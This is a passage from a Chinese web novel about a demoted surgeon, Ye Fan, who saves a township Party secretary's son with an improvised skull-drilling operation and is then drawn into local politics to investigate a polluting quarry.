整个过程,从定位到包扎完毕,用时不到二十分钟。
当叶凡放下手中的器械,直起腰时,他才感觉到后背已经被汗水湿透。
他长长地呼出了一口气,这口气仿佛带走了他这一个月来所有的郁结和颓废。
手术台上的那份专注,那份与死神搏斗的激情,才是他真正的归属。
他走出临时手术室,摘下沾着血污的口罩。
门外,所有人都像看怪物一样看着他。
李德海的嘴巴张得能塞下一个鸡蛋,马卫国的脸上写满了震惊和难以置信。
叶凡没理会他们,径直走到急诊室的窗边,推开窗,让冰冷的雨丝打在自己脸上。他需要冷静一下。
“嘎吱!”
就在这时,一阵急促的刹车声和汽车鸣笛声由远及近,刺破了雨夜。
一辆黑色的奥迪A6不顾一切地冲进了卫生院的院子,车还没停稳,一个身形微胖、面容儒雅但此刻却写满焦急的中年男人就从后座上冲了下来。
他身后跟着几个同样神色慌张的人。
“我儿子呢?我儿子怎么样了!”男人冲进大厅,声音因为极度的担忧而嘶哑。
李德海看到来人,两腿一软,彻底站不住了,扶着墙才没滑下去。
来人,正是青山镇的**,钱国栋。
第6章 惊雷之后,天子门生!
青山镇**,钱国栋!
这五个字像一道无形的惊雷,劈在卫生院每一个人的天灵盖上。
如果说马卫国是镇上的实权人物,那钱国栋就是青山镇说一不二的“天”。
他平日里深居简出,极少在公众场合露面,但他的名字,本身就代表着绝对的权威。
李德海的腿肚子已经开始转筋,他扶着墙,哆哆嗦嗦地想上前解释,却连一句完整的话都组织不起来。
他脑子里只剩下五个字:完了,全完了。
马卫国脸上的血色“唰”地一下褪得干干净净,刚才还指着叶凡鼻子咆哮的官威荡然无存,取而代之的是一种近乎谄媚的惶恐。
他三步并作两步地抢到钱国栋面前,努力挤出一个比哭还难看的笑容。
“钱……钱**,您怎么亲自来了?这大雨天的……”
钱国栋根本没看他,一双布满血丝的眼睛死死盯着急诊室的方向,声音嘶哑地又问了一遍:“我儿子,钱理,他怎么样了?”
“**,您放心,公子他……他……”
马卫国一时语塞,他该怎么说?
说人差点没了,被一个市里来的愣头青用手摇钻开了瓢,现在是死是活还不知道?
这话要是说出口,他这个副镇长明天就得去分管计划生育,专门负责数人头。
就在这死寂的当口,临时手术室的门“吱呀”一声开了。
叶凡摘下沾着血和汗的口罩,走了出来。他身上那件白大褂上,血迹斑斑,在惨白的灯光下显得格外刺目。
连续的高度紧张让他脸色有些苍白,但那双眼睛,却亮得惊人,像淬火后的寒星。
所有人的目光瞬间聚焦在他身上。
钱国栋的身体猛地一震,他几乎是冲了过去,一把抓住叶凡的胳膊,因为用力,指节都有些发白。
“医生!我儿子他……”
他的声音在颤抖。
这位在青山镇翻手为云覆手为雨的**,此刻只是一个心急如焚的父亲。
叶凡的目光平静地迎上他,没有半分畏惧或讨好,只是用一种陈述事实的语气,清晰地说道:“急性硬膜外血肿,已经形成脑疝。我刚为他做了紧急颅骨钻孔减压术,暂时保住了命。”
“保住了命……”钱国栋咀嚼着这四个字,紧绷的身体像是被抽掉了筋骨,猛地松弛下来,踉跄着后退了一步,幸好被身后的秘书及时扶住。
这时,马卫国终于找到了表现的机会,他清了清嗓子,上前一步,摆出一副沉着指挥的领导派头。
“**,您别担心。刚才情况万分危急,是我和李院长,还有这位市里来的叶凡同志,我们一起组成了临时抢救小组。我亲自坐镇指挥,克服了设备简陋、条件艰苦等一系列困难,果断决策,才把小理从鬼门关拉了回来。现在最重要的,是等县医院的救护车,做好下一步的转院工作。”
他这番话,说得慷慨激昂,滴水不漏。
既强调了困难,又把功劳揽到了自己头上,“亲自坐镇”、“果断决策”,几个词用得炉火纯青,仿佛刚才那个惊慌失措、只会叫嚷着推卸责任的人不是他一样。
李德海在旁边听得目瞪口呆,心里对马镇长的脸皮厚度有了全新的认知。
他有心想说点什么,可一接触到马卫国警告的眼神,又把话咽了回去。
钱国栋扶着墙,缓缓站直了身体。
他没有理会马卫国的表功,而是将目光投向了那间被当作临时手术室的病房。
门没关严,他能看到里面简陋的病床,一个充当无影灯的大号白炽灯,以及……扔在不锈钢托盘里,那个还沾着血迹和骨屑的……手摇钻。
他的瞳孔猛地一缩。
作为一个在基层摸爬滚打了半辈子的人,钱国栋的眼光何其毒辣。
他几乎是在一瞬间,就脑补出了刚才发生的一切。
他太清楚基层医院的作风了,也太了解马卫国这种干部的性格。
等县医院?
坐镇指挥?
他缓缓转过头,目光重新落在叶凡身上,这一次,眼神里多了几分审视和探究。
“你做的手术?”
“是。”
叶凡回答得干脆利落。
“用那个东西?”
钱国栋的下巴朝手摇钻的方向扬了扬。
“是。”
叶凡依旧没有多余的解释。
钱国栋沉默了。
他看着叶凡那双稳得不带一丝颤抖的手,又看了看旁边脸色发白、眼神躲闪的马卫国和李德海,一切都已了然于胸。
他什么都没说,只是走到那两个被吓得缩在角落里的大货车司机面前,用一种不容置疑的语气问道:“把刚才的事情,从头到尾,说一遍。一个字都不许漏。”
两个司机哪敢隐瞒,哆哆嗦嗦地将车祸发生后,他们如何把人送到卫生院,卫生院的医生如何束手无策,马镇长如何赶来阻止,叶凡又是如何力排众议,用那个……那个“钻木取火的玩意儿”救人的过程,一五一十地全说了出来。
他们是粗人,话说得颠三倒四,但核心意思却表达得清清楚楚。
每多听一句,马卫国的脸色就更白一分。
当听到自己如何咆哮着要叶凡“停止一切行为,原地等待”时,他只觉得两腿发软,额头上冷汗涔涔而下。
钱国栋静静地听着,脸上的表情没有丝毫变化,但周围的空气却仿佛凝固了一般,压抑得让人喘不过气。
听完之后,他没再看马卫国一眼,仿佛这个人根本不存在。
他一步一步,重新走到叶凡面前。
这一次,他没有再抓叶凡的胳膊,而是郑重地、深深地,向他鞠了一躬。
“叶医生,谢谢你。”
这一躬,不是**对下属,而是一个父亲,对自己儿子救命恩人的,最真诚的感谢。
整个大厅,鸦雀无声。
马卫国彻底傻了,他站在原地,像一尊尴尬的石雕,脸上一阵红一阵白,恨不得找条地缝钻进去。
李德海则在心里掀起了惊涛骇浪。
他看着那个坦然接受了钱**大礼的年轻人,忽然觉得,自己之前那些担心、害怕、推诿
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,是何等的可笑和渺小。
“**,您言重了。这是我的职责。”叶凡的语气依旧平淡,他侧身让开了半步,没有完全受下这一礼。
这份不卑不亢,让钱国栋眼中的欣赏之色更浓了。
就在这时,县医院的救护车鸣着笛,终于姗姗来迟。
钱国栋亲自安排,小心翼翼地将儿子送上救护车。
临走前,他回头,深深地看了一眼叶凡,又扫了一眼噤若寒蝉的马卫国。
“叶医生,你跟我一起去县里,我儿子的后续治疗,需要你在旁边盯着。”他用的是不容商量的口吻。
然后,他又对自己的秘书交代了一句,声音不大,却清晰地传到了每个人的耳朵里。
“明天一早,让马卫国同志写一份深刻的书面检查,交到我办公室。内容就写,他是如何在新时期下,贯彻我们党‘生命至上、人民至上’的执政理念的。”
说完,他便头也不回地上了自己的奥迪车。
马卫国听到这句话,身体晃了晃,最后一丝血色也从脸上褪去。
他知道,自己完了。
这份检查写上去,就是一封**上的“死亡通知书”。
钱国栋这是在告诉所有人,他马卫国,在人命关天的时刻,选择了官僚主义和推卸责任。
这个标签一旦贴上,他在青山镇的**生涯,也就到头了。
叶凡没有拒绝,他知道病人的情况还不稳定,跟着去是应该的。
他脱下血衣,换上自己的外套,默默地跟着上了钱国栋的车。
奥迪车平稳地驶出卫生院,溅起一片水花。
车里,钱国栋一言不发,只是看着窗外飞速**的夜景,不知在想些什么。
叶凡也沉默着,一夜未眠,加上一场高难度的手术,他的身体已经疲惫到了极点,但他大脑的某根神经却因为刚才发生的一切,被重新激活了。
他想起柳传明那句“烂泥扶不上墙”的羞辱,想起柳如烟那失望而冷漠的眼神。
他一直以为自己的价值只在那间小小的手术室里,用手术刀来实现。
可今晚,他用最原始的工具,在一个最不可能的地方,做了一台最高难的手术,救了一个最不该出事的人。
他好像第一次在这个只看权力的世界里,用自己的专业撬动了一丝微不可查的缝隙。
车子开到半路,钱国栋的手机响了,他接起电话,只“嗯”了几声。
挂断电话后,他忽然开口对叶凡说:“我爱人刚从市里赶过来,已经到县医院了。她脾气不太好,尤其是牵扯到儿子的事,待会儿要是有什么言语冲撞的地方,你多担待。”
这番话,看似是提前打招呼,实则是一种变相的保护和示好。
叶凡心中微动,点了点头:“我明白。”
他知道,从钱国栋让马卫国写检查的那一刻起,自己的人生轨迹或许就要偏离那条“躺平”的预设轨道了。
惊雷之后,未必是坦途。
但一个被逼到绝境的人,最不怕的,就是走上一条全新的、未知的路。
第7章 棋盘内外,落子无声!
县人民医院的VIP病房外,气氛凝重得像一块铅。
一个保养得宜、气质雍容的中年妇人正抓着一名白发老专家的胳膊,情绪激动地质问着什么。
她就是钱国栋的妻子,县教育局的一位科长,周雅芬。
她的声音尖锐而急切,带着一丝官太太特有的颐指气使。
“孙院长,你必须跟我说实话!我儿子的情况到底怎么样?什么叫‘奇迹’?我不要听这种模棱两可的话!我要确切的答案!”
被她抓着的孙院长,是县医院的泰山北斗,此刻却是一脸苦笑,额头上沁着细汗。
“钱夫人,您冷静点。令公子的CT片我们已经看过了,那么大的血肿,颅内压那么高,能在那种条件下被成功减压,而且没有造成二次损伤,这本身就是医学上的奇迹!现在生命体征平稳,已经脱离了生命危险,这已经是最好的结果了!”
“最好的结果?”周雅芬显然不满意这个说法,“那他什么时候能醒?会不会有后遗症?会不会影响智力?他下个月还要参加省里的物理竞赛!”
这一连串的问题,让孙院长也犯了难。
脑外科的手术,谁也不敢打包票说没有后遗症。
就在这时,钱国栋和叶凡一前一后地走到了病房门口。
“行了,别在这里为难孙院长了。”钱国栋沉声开口,自带一股威严,让周雅芬瞬间收敛了尖锐的气势。
她回过头,看到丈夫,眼圈一红,快步走了过来,“国栋,你可算来了!小理他……”
钱国栋拍了拍她的手背以示安慰,然后目光越过她,看向了孙院长。
“孙院长,辛苦了。这位是青山镇卫生院的叶凡医生,这次小理的手术,是他主刀的。”
此言一出,全场皆惊。
孙院长和几位县医院的专家都用一种不可思议的目光看向叶凡。
他们刚刚还在会诊室里对着那张堪称“暴力美学”的CT片啧啧称奇,讨论是哪位大神恰好路过,才有了这神来之笔。
谁能想到,完成这台逆天手术的,竟然是眼前这个看起来如此年轻的医生,特别还是在那个青山镇卫生院?
周雅芬的目光也落在了叶凡身上,那是一种极为挑剔和审视的眼神。
她上下打量着叶凡,见他穿着普通的夹克,身上还带着乡镇的尘土气,眉宇间掠过一丝不易察觉的轻视。
“他?”周雅芬的语气里充满了怀疑,“就凭他?在镇卫生院那种地方?国栋,你没搞错吧?小理的命怎么能交给这种人!”
在她看来,医生就该是孙院长这样白发苍苍、德高望重的模样。
叶凡太年轻了,年轻得让她觉得不可靠,更何况还是从那个她一辈子都不想踏足的穷乡僻壤出来的。
钱国栋的脸色沉了下来:“周雅芬,注意你的言辞!叶医生是小理的救命恩人!”
被丈夫当众呵斥,周雅芬的脸色一阵青白,但她还是不服气,小声嘀咕道:“救命恩人就可以乱来吗?谁知道他是不是瞎猫碰上死耗子,万一给小理留下什么严重的后遗症……”
“他不会有后遗症。”
一个清冷的声音打断了她的嘀咕。
是叶凡。
他一直沉默地站在一旁,仿佛这场争论与他无关。
但当对方质疑到他的专业领域时,那份属于顶尖外科医生的骄傲,让他无法再保持沉默。
他看着周雅芬,目光平静而锐利,像手术刀一样,精准地剖析着她的担忧。
“钱夫人,你的担忧我理解。但是,第一,手术非常成功。钻孔的位置精准地避开了大脑功能区和主要血管,减压时机恰到好处,没有造成脑组织挫伤。第二,从目前的生命体征和神经反射来看,令公子恢复良好,术后并发症的风险很低。第三,”叶凡顿了顿,语气加重了几分,“如果你所谓的‘乱来’,是指我在没有开颅钻的情况下,用手摇钻挽救了你儿子的命。那么我告诉你,如果我不‘乱来’,你现在见到的,只会是一具冰冷的尸体。”
这番话,不带任何情绪,却字字诛心。
周雅芬被他怼得哑口无言,脸色涨得通红。
她习惯了在自己的领域里对别人发号施令,何曾被一个看起来像个毛头小子的人如此不留情面地顶撞过。
孙院长和其他专家则在心里暗暗叫好。
叶凡的话,说出了所有医生的心声。
他们看向叶凡的眼神,已经从最初的惊奇,变成了由衷的敬佩。
这不仅是技术上的,更是胆识和担当上的。
钱国栋的眼中,欣赏之色更浓。
他不怕叶凡有傲气,有本事的人,大多都有脾气。
他怕的是那种畏畏缩缩、只知溜须拍马的庸才。
叶凡身上这股子纯粹的、只认事实不认人的狠劲,正是官场里最稀缺,也最宝贵的品质。
“好了,”钱国栋打破了僵局,他对妻子说,“你在这里守着,有任何情况随时联系我。孙院长,小理的后续治疗,就拜托你们了。”
他又转向叶凡,语气温和了许多:“叶医生,你一夜没睡,我让司机先送你去招待所休息。”
叶凡确实累了,便点了点头。
看着叶凡跟着钱国栋的秘书离去的背影,周雅芬心里五味杂陈,她小声对丈夫抱怨:“这人什么态度啊,也太傲了!”
钱国栋看了她一眼,淡淡地说:“如果傲慢可以换回儿子的命,我希望他能再傲慢一点。”
说完,他便转身离开了。
有些事情,他需要立刻去办。
棋盘已经摆开,这颗意外出现的棋子,他必须用好。
……
青川县招待所。
叶凡一觉睡到了第二天下午。
醒来时,窗外的阳光正好,雨过天晴,空气清新。
他洗了把脸,感觉几个月来的压抑和疲惫,似乎被那场惊心动魄的手术和这场酣畅淋漓的睡眠涤荡一空。
他正准备出门找点东西吃,房间的门被敲响了。
来人是钱国栋的秘书,一个戴着眼镜、看起来很精干的年轻人,姓王。
“叶医生,您醒了。钱**让我来接您,他想请您吃个便饭。”王秘书的态度十分恭敬。
叶凡本想拒绝,但想了想,还是答应了。
他知道,这顿饭,恐怕不只是吃饭那么简单。
饭局设在县委小招待所的一个雅致包厢里,没有外人,只有钱国栋和叶凡两个人。
菜是地道的本地菜,不奢华,但很精致。
钱国栋亲自给叶凡倒了一杯茶,开门见山:“叶医生,大恩不言谢。今天请你来,是想跟你谈谈你未来的打算。”
叶凡愣了一下:“我的打算?我没什么打算,帮扶期结束就回江城。”
“回江城?”钱国栋笑了笑,那笑容里带着几分洞察世事的通透,“你觉得,你现在还回得去吗?”
叶凡沉默了。
他知道钱国栋说的是什么。
得罪了柳家,又以这种“发配”的方式离开,就算一年后回去,他在三院的位置也早就没了。
等待他的,只会是更多的白眼和排挤。
“我知道了你的事情,你的前岳父柳传明我虽然不熟,但他的行事风格,在市里是出了名的。”钱国栋慢悠悠地喝了口茶,“你这个女婿让他丢了面子,他不会轻易放过你的。你现在就像一头进了狼群的羊,回去,只会被啃得骨头都不剩。”
这番话,像一把刀,精准地扎进了叶凡的痛处。
“那钱**的意思是?”叶凡抬起头
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。
“留在青山镇。”钱国栋看着他,目光灼灼,“当然,不是让你一直待在那个卫生院里。那个地方,对你来说是龙游浅水。我想借调你到镇政府,暂时做我的助理,帮我处理一些事情。”
**助理!
虽然没有级别,却是真正能接触到权力核心的职位,是**的“身边人”。
这个提议,无异于一步登天。
叶凡的第一反应却是皱眉。
“钱**,我感谢您的好意。但我只是个医生,对行政工作一窍不通,恐怕会辜负您的期望。”他不是谦虚,是真心这么觉得。让他拿手术刀,他有信心;让他摆弄文件和人际关系,他完全没底。
“一窍不通可以学。”钱国栋似乎早就料到他会这么说,“我看中的,不是你懂不懂行政,而是你解决问题的能力。昨晚那件事,卫生院上上下下那么多人,包括马卫国在内,他们看到的是风险,是责任,是怎么保住自己的乌纱帽。只有你,看到的是问题本身——一个快死的人,以及如何让他活下来。”
他身体微微前倾,盯着叶凡的眼睛。
“官场,就像一个巨大的、病入膏肓的病人。里面有坏死的组织,有堵塞的血管,有恶性的肿瘤。很多人终其一生,都在研究如何与这些病痛和平共处,甚至利用它们为自己牟利。而我需要的,是一个像你一样,敢于找到病灶,敢于下刀切除它的人。”
钱国栋的这番话,让叶凡的心狠狠地颤动了一下。
他从未想过,自己赖以生存的医学逻辑,竟然能和官场联系在一起。
“给我一把刀,我能救一个人。给我一个平台,我能做什么?”这个念头,第一次在他脑海里萌生。
看着叶凡眼中闪过的光芒,钱国栋知道,他已经心动了。
“当然,这件事会有阻力。”钱国栋靠回椅背,“一个医生,直接被借调到**身边,肯定会有人不服,尤其是马卫国那一派的人。不过你放心,这些程序上的事,我会处理好。”
他拿起筷子,夹了一块鱼肉放进叶凡碗里,语气变得轻松起来,像是在拉家常。
“你现在要做的,就是想清楚,是回卫生院,继续躺平,还是换个活法,让市里面的那些人看看,你叶凡到底是不是烂泥。”
最后这句话,精准地击中了叶凡内心最深处的那个情绪钩子。
证明自己不是废物。
他抬起头,迎上钱国栋的目光,缓缓地点了点头。
“我留下。”
三个字,没有豪言壮语,却重若千钧。
钱国栋笑了,笑得十分开怀。
他知道,自己这步棋,落对了。
三天后,一份盖着青山镇党委、政府两颗大红印章的公文,送到了镇卫生院院长李德海的办公桌上。
“关于借调叶凡同志至镇办公室工作的通知”。
李德海看着那份文件,张着嘴,半天没合上。
他这小小的卫生院,是出了真龙了?前脚救了**的公子,后脚就成了**的助理?
他拿着文件冲到叶凡的宿舍,激动得语无伦次:“叶……叶助理!不不,叶医生!您……您这是要高升了啊!以后可得罩着我们卫生院啊!”
卫生院里也炸开了锅。所有人都在议论这个从天而降的“奇迹”。
那个当初被他们当成“倒霉蛋”的年轻人,转眼间就成了他们需要仰望的存在。
而始作俑者叶凡,只是平静地收拾好自己本就不多的行李。
当他走出卫生院大门的时候,回头看了一眼那栋破败的三层小楼。
他心灰意冷地来到这里,本想就此沉寂。
却没想到,这片最贫瘠的土壤,反而让他这颗被埋在烂泥里的种子,意外地破土发芽了。
第8章 新官上任,第一把火!
青山镇政府大院,是一栋八十年代修建的四层苏式小楼,灰色的墙体上爬满了青苔,见证着岁月的流逝。
院子中央,一棵巨大的黄桷树枝繁叶茂,几乎遮蔽了半个院子,树下总是**着三三两两抽烟聊天的老干部。
当叶凡提着简单的行李,跟着王秘书走进这栋小楼时,他立刻感受到了与医院截然不同的氛围。
这里没有消毒水的味道,取而代之的是一股陈旧纸张、浓茶和香烟混合的气味。
走廊里的人走路都静悄悄的,说话声音压得很低,每个人脸上都带着一种难以言喻的、混杂着慵懒与精明的表情。
他们用眼角的余光,好奇又克制地打量着这个由**秘书亲自领进来的陌生年轻人。
钱国栋的办公室在三楼最里间,朝阳,宽敞。
叶凡被安排在外间的一个小办公室,与王秘书共用。
一张办公桌,一把椅子,一个铁皮文件柜,就是他的全部“家当”。
“叶助理,以后你就在这办公。**说了,你刚来,先熟悉熟悉情况,不用着急上手。”王秘书客气地帮他把桌子擦干净,又泡了一杯热茶。
这个“叶助理”的称呼,让叶凡有些不适应。
他点了点头,坐了下来,看着桌上那厚厚一摞的《青山镇年鉴》和各类文件汇编,只觉得头大。
这些方块字组合在一起,比最复杂的心电图还要令人费解。
接下来的几天,叶凡成了政府大院里一个特殊的存在。
他没有具体的分工,每天的工作就是看文件,偶尔跟着钱国栋去下面村子转转。
他不参与任何八卦闲聊,也从不主动和人搭话。
中午就一个人去食堂吃饭,吃完就回办公室。
他就像一个沉默的观察者,用他那双习惯了审视病历和X光片的眼睛,观察着这个全新的“生态系统”。
他发现,这里的人说话都喜欢说半句,留半句,一个简单的“同意”,能有七八种不同的表达方式,每一种都代表着不同的态度。
他也发现,那个被钱**当众敲打过的副镇长马卫国,这几天见了自己总是绕道走,眼神里充满了怨毒和不甘。
所有人都知道叶凡是**跟前的红人,是钱**儿子的救命恩人。
但这种靠“恩情”换来的地位,在很多人看来,根基是最不稳的。
不少人都在背地里等着看笑话,想看看这个“医疗专家”到底能在政府大院里待几天。
叶凡对这些暗流涌动浑然不觉,或者说,他根本不在乎。
他只是觉得无聊,这种每天喝茶看报的日子,比在手术台上连续站十几个小时还要磨人。
直到一周后的一个下午。
钱国栋把他叫进了办公室。
“怎么样,习惯了吗?”钱国栋指了指对面的沙发,示意他坐下。
“不太习惯。”叶凡实话实说,“这里**静了。”
钱国栋笑了:“你这是外科医生的职业病,闲不住。既然这样,就给你找点事做。”
他从抽屉里拿出一个牛皮纸档案袋,推到叶凡面前。
“看看这个。”
叶凡打开档案袋,里面是一叠厚厚的材料。
最上面是一份**件,几十个鲜红的手印触目惊心。
信的内容,是联名举报镇西头的“宏发石料厂”长期违规开采,污染水源,破坏山林,粉尘和噪音严重影响了下游平安村村民的正常生活和身体健康。
信的后面,附着一些照片:浑浊不堪的河水,被染成灰白色的庄稼,以及几份村民的体检报告,大多显示患有不同程度的呼吸道疾病。
“这个石料厂,存在很多年了,是镇上的纳税大户,也解决了一部分人的就业。但最近两年,开采越来越没节制,搞得**人怨,平安村的村民已经**好几次了,都被压了下来。”钱国栋的语气很平淡,听不出喜怒。
叶凡的眉头却皱了起来。
他一张张地翻看着那些体检报告,职业的敏感性让他立刻发现了问题。
“这些报告不全,只查了常规的肺功能,没有做粉尘接触史的职业病筛查。而且,平安村这几年儿童哮喘和老年人慢性支气管炎的发病率,有没有具体统计数据?”他下意识地问道,语气就像在和同事讨论病情。
钱国栋眼中闪过一丝赞许。
他把这个难题交给叶凡,就是想看看他会从什么角度切入。
换做任何一个干部,首先想到的恐怕都是这家石料厂的背景、老板是谁、跟县里哪位领导有关系。
而叶凡,第一眼看到的,是“病”。
“没有具体数据。”钱国栋摇了摇头,“镇卫生院的李德海,你比我清楚,指望他做流行病学调查,比登天还难。至于石料厂的背景……”
他停顿了一下,看着叶凡:“老板叫周宏发,是县**代表。石料厂最大的幕后老板,是江城市‘鹏程**’建材公司的老板,柳志鹏。”
柳志鹏!
听到这个名字,叶凡的瞳孔倏地收缩,握着文件的手,不自觉地攥紧了。
还真是冤家路窄。
他怎么也没想到,自己被下放到这个穷乡僻壤,第一个要面对的难题,背后竟然站着那个让他受尽**的大舅子。
钱国栋一直在观察着他的表情变化,看到他眼底一闪而过的寒光,心中便已了然。
他知道柳家和叶凡的恩怨,这份文件,既是对叶凡的考验,也是他递给叶凡的一把刀。
“这件事,不好办。”钱国栋继续说道,“周宏发在县里关系网很深,马卫国就是靠着他才当上这个副镇长的。镇里每次想去检查,都会提前有人通风报信。等执法队过去,厂子早就停工洒水,做得比公园还干净。村民拿不出最直接的证据,我们也很被动。”
叶凡沉默了。
他低着头,手指在那些村民的名字上缓缓划过。
他的脑海里,浮现出的不是复杂的官场关系网,而是那些被污染的河流,被粉尘笼罩的村庄,和那些在病痛中挣扎的村民。
这不就是一个巨大的、被感染的“伤口”吗?
病灶,就是那个石料厂。
周围的组织,就是那些被腐蚀的官员和关系网。
而那些村民,就是正在衰竭的“肌体细胞”。
他需要做的,不是去硬碰那些盘根错杂的关系网,而是像一个高明的外科医生一样,精准地找到那根为肿瘤供血的“主血管”,然后一刀切断。
许久,
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他抬起头,眼中已经没有了刚才的惊愕和愤怒,恢复了惯有的冷静。
“**,我想先去那个平安村看看。”
“一个人?”
“不,我需要一个帮手。”叶凡说,“一个懂我们这套‘语言’的帮手。”
当天下午,叶凡没有通过镇政府,而是以个人名义,给卫生院的李德海打了个电话。
电话那头的李德海受宠若惊,一听叶助理要“视察”卫生院的公共卫生工作,还要调阅平安村近五年的全部就诊档案,立刻拍着胸脯保证完成任务。
第二天一早,叶凡就骑着一辆从镇政府后勤借来的二八大杠自行车,独自一人前往平安村。
他没穿干部常穿的夹克,而是换上了一身从地摊上买的普通T恤和长裤,看起来就像个下乡采风的大学生。
平安村离镇上有十几里山路,越靠近村子,路上的灰尘就越大。
空气中弥漫着一股刺鼻的石灰味,路两旁的树叶都蒙着一层厚厚的白灰,毫无生气。
远远地,就能听到石料厂方向传来“轰隆隆”的机器轰鸣声,像一头不知疲倦的怪兽,在吞噬着这座大山。
叶凡没有直接进村,而是在村口的一棵大树下停了下来。
他看到不远处的河边,有几个妇女正在洗衣服。
那条河,就是村民在**件里提到的“平安河”,曾经清澈见底,如今却泛着一种诡异的乳白色。
他推着车,慢慢走了过去。
一个正在用棒槌捶打衣服的大婶见他面生,警惕地看了他一眼:“后生,你找谁?”
叶凡笑了笑,露出一个和善的表情。
“大婶,问个路。我想到山里采点草药,听说这山里的石斛不错。”
看他不像干部,说话又客气,大婶的警惕心放下了些,摆了摆手:“采什么草药哦,现在这山里,连草都不长了!全被那挨千刀的石料厂给毁了!”
“这么严重?”叶凡故作惊讶。
“可不是嘛!”一说起石料厂,大婶的话匣子就打开了,她指着身边浑浊的河水,愤愤不平,“你看看这水!以前我们都是直接舀起来就能喝的,现在洗衣服手都痒!还有那灰,一天不关窗户,桌上就能写字!我家那小孙子,才五岁,天天咳,去镇上看,医生就说是支气管炎,开了点药,吃了也不管用!”
叶凡一边听着,一边仔细观察着这位大婶。
他注意到,她的指甲缝里嵌着洗不掉的灰黑色污垢,手指的关节有些红肿变形。
“大婶,你这手……是不是一沾凉水就疼?”叶凡状似无意地问道。
大婶愣了一下:“咦?你怎么知道?不光疼,还麻!医生说是风湿,可我这风湿也太怪了,就这几年才有的毛病。”
“这不是风湿。”叶凡的眼神变得凝重起来,“你这水,不能再碰了。不光不能碰,喝都不能喝。”
“为啥?”
“因为水里有毒。”叶凡看着她的眼睛,一字一顿地说道,“一种能钻进骨头里的毒。”
他没有详细解释什么叫“重金属超标”,什么叫“铬**”,他只用了最简单、也最直接的方式,告诉了她一个足以让她恐惧的事实。
大婶脸上的血色瞬间褪去。
第10章 釜底抽薪,引蛇出洞!
叶凡回到镇政府的时候,已经是傍晚。
黄桷树的影子被夕阳拉得很长,政府大院里静悄悄的,大部分人都已经下班回家。
钱国栋的办公室还亮着灯。
叶凡推门进去,钱国栋正戴着老花镜,在一份文件上批注着什么。
他没有抬头,只是指了指对面的椅子。
“怎么样?”
“比想象中更严重。”叶凡言简意赅地将平安村的情况,以及村民们的身体症状,还有赵老四的反应,都说了一遍。
他没有添油加醋,只是陈述事实,像是在汇报一份病理报告。
钱国栋静静地听着,手里的笔不知不觉停了下来。
当听到叶凡三言两语就将村支书赵老四的心理防线和村民的信任壁垒同时攻破时,他抬起头,镜片后的眼中闪过一丝不易察觉的精光。
这小子,天生就是干这个的料。
他用的不是权术,而是比权术更锋利的武器——事实。
“证据。”钱国栋吐出两个字。
他知道,村民的口述和叶凡的现场诊断,在真正的博弈中,都只能作为参考。
想要一锤定音,必须要有无可辩驳的科学证据。
“这正是我要跟您汇报的。”叶凡从口袋里拿出一张纸,上面是他凭记忆画出的一份简易流程图,“我需要以镇政府的名义,在平安村搞一次‘农村重大疾病及公共卫生安全隐患’的全面普查。”
钱国栋看着那张图,上面清晰地标注着:水样采集点(上游、中游、下游、村民水井)、土壤样本采集点(农田、菜地、石料厂周边)、入户调查(问卷、体征检查)、以及最核心的一环——生物样本采集(87名村民的血液、尿液、毛发)。
整个计划,逻辑严密,环环相扣。
以一个冠冕堂皇的“普查”名义,行“取证”之实。
这就是釜底抽薪。
钱国栋笑了,他摘下老花镜,靠在椅背上:“这个名义很好,名正言顺。但,这件事不能由镇政府直接发文。”
“为什么?”叶凡有些不解。
“因为发了文,马卫国他们就知道了。今天你在平安村闹出这么大动静,赵老四肯定第一时间就向他汇报了。我们这边一动,他们那边就会立刻采取措施。比如,让石料厂停工几天,再把暗管一堵,到时候你去取样,水比矿泉水还干净。”钱国栋慢悠悠地说,像个经验丰富的老猎人,“对付蛇,你不能大张旗鼓地敲锣打鼓,要悄悄地把诱饵放在洞口,等它自己钻出来。”
“那您的意思是?”
“这件事,必须快,而且要绕开常规程序。”钱国栋站起身,在办公室里踱了几步,最终停在窗前,看着院子里那棵沉默的黄桷树。
“我以党委的名义,直接给你授权。人员,你从卫生院抽调,李德海那边我来打招呼。经费从我的**预备金里出。样本送检,不能在县里,更不能在市里。我让小王联系省城的一家权威检测机构,派专人专车,明天晚上之前,把所有样本秘密送走。”
这番话,让叶凡心中一凛。
他明白了钱国栋的决心。
这已经不是简单的调查,而是一次精准的、绕开了整个地方关系网的“外科手术”。
“我明白了。”
“还有,”钱国栋转过身,表情变得严肃起来,“这件事,从现在开始,除了你我,还有王秘书,不能有第四个人知道全部计划。你只需要告诉李德海他们,这是一次紧急的、保密的流行病学调查任务。对外,就说你在村里发现了疑似传染病的迹象。”
疑似传染病!
这五个字的分量,足以让任何地方官员都神经紧绷,也能为这次行动提供最完美的掩护。
叶凡点了点头,他感觉自己的血液有些发热。
这种在刀尖上行走,布局拿捏的感觉,竟让他产生了一丝久违的兴奋。
第二天一早,两辆破旧的面包车悄无声息地停在了青山镇卫生院的后门。
李德海院长亲自带着护士小赵和其他几名信得过的骨干,早已等候在那里。
李院长一夜没睡好,钱**亲自给他打电话,语气前所未有的严肃,只说是一项关系到全镇安危的绝密任务,一切行动听叶助理指挥。
李德海现在看叶凡的眼神,已经不是看高人,而是看“钦差大臣”了。
“叶……叶助理,人都到齐了,设备也都按您的吩咐准备好了!您放心,今天我们卫生院就是上刀山下火海,也保证完成任务!”李德海拍着胸脯,差点拍出了几声咳嗽。
叶凡看着眼前这支“杂牌军”,心里有些好笑。
一个谄媚的院长,一个把他当偶像的小护士,还有几个战战兢兢的医生。
就是这支队伍,即将去撬动一个盘根错节的利益集团。
“别紧张,就是一次普通的体检采样。”叶凡安抚了一句,便下令出发。
平安村,村民们早已按照约定,在村委会大院里排起了长队。
他们看到镇卫生院的车来了,还下来这么多穿白大褂的医生护士,都有些激动。
特别是看到走在最前面的叶凡,眼神里更是充满了希望。
采样工作有条不紊地进行着。
叶凡坐镇指挥,将他在三甲医院组织大型义诊的经验用在了这里。
登记、问诊、体检、抽血、留尿……每个环节都安排得井井有条。
小赵护士他们一开始还很紧张,但在叶凡冷静专业的调度下,很快就进入了状态,动作也变得麻利起来。
与此同时,青山镇宏发石料厂的办公室里,老板周宏发正焦躁地打着电话。
他是个满脸横肉的胖子,脖子上戴着一根小指粗的金链子。
“马镇长!这到底怎么回事?那个姓叶
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的小子,怎么就带着卫生院的人去村里搞上体检了?还抽血化验!他想干嘛?”
